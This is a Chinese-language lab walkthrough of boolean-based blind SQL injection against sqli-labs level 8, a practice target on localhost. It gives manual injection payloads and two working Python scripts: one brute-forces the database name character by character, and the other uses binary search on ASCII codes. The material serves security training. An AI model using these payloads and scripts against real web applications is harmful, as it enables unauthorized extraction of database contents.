sql注入第八关卡是布尔盲注,我们将看不到一般的返回值,只能通过You are in......的消失与否来判断自己输入的字符是否与查询的数据的字符相同,相同则显示You are in......,相反则不显示,如下图所示:
查询语句:id=1' and substr(database(),1,1) = 's' --+
相同时:
查询语句:id=1' and substr(database(),1,1) = 'a' --+
不同时:
因为这样一次一次的去输入,去判断,所需时间确实太久了,所以用脚本来实现是最好的
import requests
def get_database(url):
name = '' # 初始化一个空字符串用于存储数据库名
letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@#$%^&*' # 包含可能的字符列表
# 循环每个数据库名的字符位置
for i in range(1, 20): # 假设数据库名最长为20个字符
# 循环尝试每个可能的字符
for j in letters:
# 构造盲注payload
payload = "1' AND SUBSTRING((SELECT DATABASE()), %d, 1) = '%s'-- " % (i, j)
# 发送请求
res = requests.get(url, params={"id": payload})
# 检查响应是否包含特定字符串,即数据库名
if "You are in" in res.text:
# 找到一个字符后,将其添加到数据库名中
name += j
print(name) # 打印当前已获取的数据库名
break # 跳出当前循环,继续下一个位置的字符
return name
# 目标URL
url = 'http://127.0.0.1/sqli-labs/less-8/'
# 调用函数获取数据库名
db_name = get_database(url)
print("Database Name:", db_name)
效果:
可这个效率依旧太差了,因为代码中有两个for循环,大大增加了查询时间,因此我们用二分查找来增加脚本效率
import requests
def get_database(url):
name = ''
for i in range(1,10):
low = 32
high = 128
mid = (high + low) // 2
while low < high:
payload = "?id=1' and ascii(substr(database(),%d,1)) > %d--+" % (i,mid)
res = requests.get(url + payload)
if "You are in" in res.text:
low = mid + 1
else:
high = mid
mid = low + (high - low) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
return name
url = 'http://127.0.0.1/sqli-labs/less-8/'
db_name = get_database(url)
print("Dataname是:",db_name)